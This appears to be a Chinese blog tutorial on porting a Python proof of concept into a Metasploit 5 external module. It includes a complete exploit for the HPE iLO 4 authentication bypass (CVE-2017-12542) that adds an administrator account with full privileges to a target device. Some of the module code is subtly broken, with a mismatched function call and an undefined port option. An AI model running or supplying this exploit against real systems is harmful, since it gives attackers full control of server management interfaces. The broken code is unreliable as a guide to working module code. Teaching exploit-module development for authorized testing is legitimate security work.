python调用msf_从python poc到metasploit模块

metasploit5

从metasploit开始引入了第三方模块,也就是说可以使用python来编写模块。并且可以加入主分支。

得到最新版本

由于kail等渗透系统并不是使用github上的最新版本,版本还在4.x。所以我们需要在github上下载

git clone https://github.com/rapid7/metasploit-framework/

将原来的msf配置文件复制到下载下来的文件夹即可

poc选择

编写基础

这是一个简明而不深入的教程

首先需要导入需要的模块

#!/usr/bin/env python

# another:bluebird

from metasploit import module

这个metasploit实际上路径是 lib/msf/core/modules/external/python/

然后定义元数据 格式和ruby模块的一样.详细可参考这里的文档

metadata = {

# 模块名字

'name': 'metasploit python module demo ',

# 模块的描述

'description': '''

send a http request metasploit python module demo

''',

# 模块作者

'authors': [

'bluebird',

],

# 编写时间

'date': '2018-02-02',

# 漏洞参考

'references': [

],

# 漏洞类型 只能在已有的类型选项

'type': 'dos',

# 模块选项

'options': {

'rhost': {'type': 'address', 'description': 'The target address', 'required': True, 'default': None},

'rport': {'type': 'port', 'description': 'The target port', 'required': True, 'default': 80},

}}

然后需要定义一个run方法。

def run(args):

module.log('helloworld')

最后定义主方法

if __name__ == "__main__":

module.run(metadata, run)

让我们实际跑一下(注意请给你的python文件添加执行权限 在linux也就是chmod +x xxx.py)

msf5 auxiliary(test/demo) > set rhost 127.0.0.1

rhost => 127.0.0.1

msf5 auxiliary(test/demo) > run

Starting server... hello world Auxiliary module execution completed

msf5 auxiliary(test/demo) >

开始编写

首先是import库。这里直接复制粘贴原来poc的就行了

#!/usr/bin/env python

import requests

from requests.packages.urllib3.exceptions import InsecureRequestWarning

import json

import urllib3

from metasploit import module

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

// 原poc两个变量定义我们放到主方法

然后定义元数据,如果你不打算提交到什么地方的话,随便写也行。下面是规范的情况

metadata = {

'name': 'HPE iLO4 Add New Administrator User',

'description': '''A vulnerability in HPE Integrated Lights-Out 4 (iLO 4) could allow an unauthenticated,

remote attacker to bypass authentication and execute arbitrary code. The vulnerability is due to an unspecified

condition that exists within the affected software. An attacker could exploit this vulnerability to bypass

authentication and execute arbitrary code. A successful exploit could result in a complete system compromise. ''',

'authors': [

'skelsec', # Vulnerability disclosure

'bluebird', # Metasploit external module (Python)

],

'date': '2018-02-09',

'references': [

{'type': 'cve', 'ref': 'CVE-2017-12542'},

{'type': 'url', 'ref': 'https://www.exploit-db.com/exploits/44005/'},

],

'type': 'scanner.single',

'options': {

'rhost': {'type': 'address', 'description': 'The target address', 'required': True, 'default': None},

'username': {'type': 'string', 'description': 'add user name', 'required': True, 'default': 'msf'},

'password': {'type': 'string', 'description': 'add user password', 'required': True, 'default': 'metasploit'},

}}

需要注意的是已经将原来poc使用的命令行参数转换成了元数据里的options

然后复制原poc的利用方法

def exploit(ip, port, username, password):

exploit_trigger = {'Connection': 'A' * 29}

accounts_url = 'https://%s/rest/v1/AccountService/Accounts'

Oem = {

'Hp': {

'LoginName': username,

'Privileges': {

'LoginPriv': True,

'RemoteConsolePriv': True,

'UserConfigPriv': True,

'VirtualMediaPriv': True,

'iLOConfigPriv': True,

'VirtualPowerAndResetPriv': True,

}

}

}

body = {

'UserName': username,

'Password': password,

'Oem': Oem

}

url = accounts_url % ip

try:

response = requests.post(url, json=body, headers=exploit_trigger, verify=False)

except Exception as e:

return False, 'Could not connect to target %s, Reason: %s' % (ip, str(e))

if response.status_code in [requests.codes.ok, requests.codes.created]:

return True, response.text

else:

return False, 'Server returned status code %d, data: %s' % (response.status_code, response.text)

然后定义主方法。其实也就是传下参数,打印一下日志。

在msf打印日志不能使用print必须调用module.log。然后report_vuln方法进行报告漏洞。

def run(args):

module.log('start exploit')

ret, data = exploit(args['rhost'], args['username'], args['password'])

if ret:

module.log('Sucsessfully added user!')

module.report_vuln(args['rhost'], 'Add New Administrator User', port=args['rport'], )

else:

module.log('Error! {msg}'.format(msg=data))

if __name__ == "__main__":

module.run(metadata, run)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值